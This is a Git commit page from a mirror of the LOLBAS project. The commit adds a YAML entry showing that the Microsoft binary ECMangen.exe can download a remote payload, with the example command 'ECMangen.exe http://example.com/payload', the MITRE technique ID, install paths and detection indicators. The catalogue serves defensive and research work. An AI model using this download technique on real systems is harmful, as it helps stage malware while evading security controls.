public-mirrors/LOLBAS
1
0
Fork 0
mirror of https://github.com/LOLBAS-Project/LOLBAS synced 2025-01-12 23:11:40 +01:00
Code Issues Projects Releases Wiki Activity

Add ECMangen.yml

Browse Source
This commit is contained in:
Avihay Eldad 2024-04-30 14:14:44 +03:00 committed by GitHub
parent 2cc0ee99e6
commit 5b17be1bed
No known key found for this signature in database
GPG Key ID: B5690EEEBB952194
1 changed files with 32 additions and 0 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

32
yml/OtherMSBinaries/ECMangen.yml Normal file
View File

@ -0,0 +1,32 @@
---
Name: ECMangen.exe
Description: Command-line tool for managing certificates in Microsoft Exchange Server.
Author: Avihay Eldad
Created: 2024-04-30
Commands:
- Command: ECMangen.exe http://example.com/payload
Description: Downloads payload from remote server
Usecase: It will download a remote payload and place it in INetCache
Category: Download
Privileges: User
MitreID: T1105
OperatingSystem: Windows
Tags:
- Download: INetCache
Full_Path:
- Path: C:\Program Files (x86)\Microsoft SDKs\Windows\v7.1A\Bin\ECMangen.exe
- Path: C:\Program Files (x86)\Microsoft SDKs\Windows\v7.1A\Bin\x64\ECMangen.exe
- Path: C:\Program Files\Microsoft\Exchange Server\V12\Bin\ECMangen.exe
- Path: C:\Program Files\Microsoft\Exchange Server\V13\Bin\ECMangen.exe
- Path: C:\Program Files\Microsoft\Exchange Server\V14\Bin\ECMangen.exe
- Path: C:\Program Files\Microsoft\Exchange Server\V15\Bin\ECMangen.exe
- Path: C:\Program Files\Microsoft\Exchange Server\Bin\ECMangen.exe
- Path: C:\Program Files\Microsoft\Exchange Server\ClientAccess\Bin\ECMangen.exe
- Path: C:\ExchangeServer\Bin\ECMangen.exe
Detection:
- IOC: URL on a ECMangen command line
- IOC: ECMangen making unexpected network connections or DNS requests
Acknowledgement:
- Person: Avihay Eldad
Handle: '@AvihayEldad'